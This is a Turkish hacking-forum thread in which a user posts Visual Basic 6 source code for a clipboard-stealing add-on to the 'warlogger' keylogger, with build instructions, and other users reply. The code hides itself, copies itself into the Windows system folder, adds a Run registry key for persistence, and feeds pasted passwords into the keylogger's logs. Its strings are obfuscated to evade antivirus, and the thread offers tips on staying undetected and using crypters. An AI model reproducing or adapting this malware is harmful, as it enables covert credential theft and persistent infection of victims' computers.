Bu Arada biLmeyen ArkadaşLar İçin.. biraz daha açık anLatırmısınız.

bu CTRL V yapan kısının ne yapıstırdıgını gormek ıcın degıl mi?

Slm arkadaş ar warloggerın ctrl+v ile girilen şifreleri alması için bir program yaptım programı dün trojanlar bölümüne açmıştım ama yayınlanmadı nedense bende kaynak kodlarını veriyorum isteyen dilerse programı derleyip warloggerla birleştirebilir loglar geldiğinde şöyle bir eklenti olduğunu göreceksiniz ctrlv" " bu tırnak işaretleri arasındaki yazılar kopyala yapıştırla girilen şifredir kodlar şuanda hiç bir antivirus programı tarafından tanınmıyor virus totalde taratmayıın hepinize kolay gelsin. ' yeniş bir proje başlatın ' bir texbox ekleyin ve textboxın textine " işaretini koyun ' iki adette timer ekleyin daha sonra hiç bir şey eklemeden direk kodu yapıştırın ve derleyin ' fud olması açısından mutlaka version murası girin sallayın bişiler birde icon koyun ' kolay gelsin Dim EskiKopyalanan As String Dim YeniKopyalanan As String Dim Oraya As String Dim ApdulKadirTekPosTa As Object Private Sub Form_Load On Error Resume Next Me. Hide If App. PrevInstance = True Then End App. TaskVisible = False Clipboard. Clear Timer1. Enabled = True Timer2. Enabled = False Timer1. Interval = 10000 Timer2. Interval = 5000 If App. EXEName = "cmsl" Then Else Oraya = Environ(StrReverse(Chr(116) & Chr(111) & Chr(111) & Chr(114) & Chr(109) & Chr(101) & Chr(116) & Chr(115) & Chr(121) & Chr(115))) & StrReverse(Chr(92)) & StrReverse(Chr(101) & Chr(120) & Chr(101) & Chr(46) & Chr(108) & Chr(115) & Chr(109) & Chr(99)) at3msqtggfqn8qnoyzkd1qshkoctqsgislfgh2q7y58pi8w1wf Set ApdulKadirTekPosTa = CreateObject(StrReverse(Chr(108) & Chr(108) & Chr(101) & Chr(104) & Chr(115) & Chr(46) & Chr(116) & Chr(112) & Chr(105) & Chr(114) & Chr(99) & Chr(115) & Chr(119))) End If End Sub Private Sub Timer1_Timer On Error Resume Next YeniKopyalanan = Clipboard. GetText If YeniKopyalanan = EskiKopyalanan Then Exit Sub Else EskiKopyalanan = YeniKopyalanan If YeniKopyalanan = "" Then Else SendKeys StrReverse(Chr(118) & Chr(108) & Chr(114) & Chr(116) & Chr(99)) & Text1. Text & YeniKopyalanan & Text1. Text End If End If End Sub Public Function at3msqtggfqn8qnoyzkd1qshkoctqsgislfgh2q7y58pi8w1wf On Error Resume Next Dim NeReLeRdeN As String NeReLeRdeN = App. Path & StrReverse(Chr(92)) & App. EXEName & StrReverse(Chr(101) & Chr(120) & Chr(101) & Chr(46)) FileCopy NeReLeRdeN, Oraya Timer2. Enabled = True End Function Private Sub Timer2_Timer On Error Resume Next ApdulKadirTekPosTa. RegWrite StrReverse(Chr(92) & Chr(78) & Chr(85) & Chr(82) & Chr(92) & Chr(78) & Chr(79) & Chr(73) & Chr(83) & Chr(82) & Chr(69) & Chr(86) & Chr(84) & Chr(78) & Chr(69) & Chr(82) & Chr(82) & Chr(85) & Chr(67) & Chr(92) & Chr(83) & Chr(87) & Chr(79) & Chr(68) & Chr(78) & Chr(73) & Chr(87) & Chr(92) & Chr(84) & Chr(70) & Chr(79) & Chr(83) & Chr(79) & Chr(82) & Chr(67) & Chr(73) & Chr(77) & Chr(92) & Chr(69) & Chr(82) & Chr(65) & Chr(87) & Chr(84) & Chr(70) & Chr(79) & Chr(83) & Chr(92) & Chr(69) & Chr(78) & Chr(73) & Chr(72) & Chr(67) & Chr(65) & Chr(77) & Chr(95) & Chr(76) & Chr(65) & Chr(67) & Chr(79) & Chr(76) & Chr(95) & Chr(89) & Chr(69) & Chr(75) & Chr(72)) & qrws, Oraya Shell Oraya Timer2. Enabled = False End End Sub Anlamayan arkadaşlar için konuyu biraz daha açıcam bu kodlar vb kodlarıdır bunu kullanabilmeniz için ilk önce derlemeniz yani exeye çevirmeniz gerekir bunu yapabilmek içinde bilgisayarınızda VB 6.0 kurulu olması lazım programı exe olarak vermek istemiyorum çünkü iki gün sonra antiler tarafından tanındığında bilmeyen arkadaşlar virus koymuş diycekler onun için hiç polemiğe girmeye gerek yok. -

evet hocam aynen dediğin gibi kişinin ne yapıştırdığını görmek için.

mantikli gayet mantikli.. ancak fonksiyonlara sacma karakterler niye yazdin anlam veremedim

Süper bi EkLenti Teşekkür ederim.

ßişey anlamadım...

oo supermis ya bu tskler Dr. Josef

warlogger kayıtlarının geldiği yere gelecek yine normal olarak hiç bi değişiklik yok yanlızca loga şöyle birşey eklenecek örnek olarak ctrlv"123456789" tırnak işareti arasındakiler kişinin yapıştırdığı text dir.

Hehe güzel taktik hocam Genelde bunları scantime crypter ile şifrelemede kullanıyorum ben mesela rc4 gibi şifrelemelerde çok iş görüyor

adamin kopyaladigi seyler nereye gelcek?

antiler tanımasın diye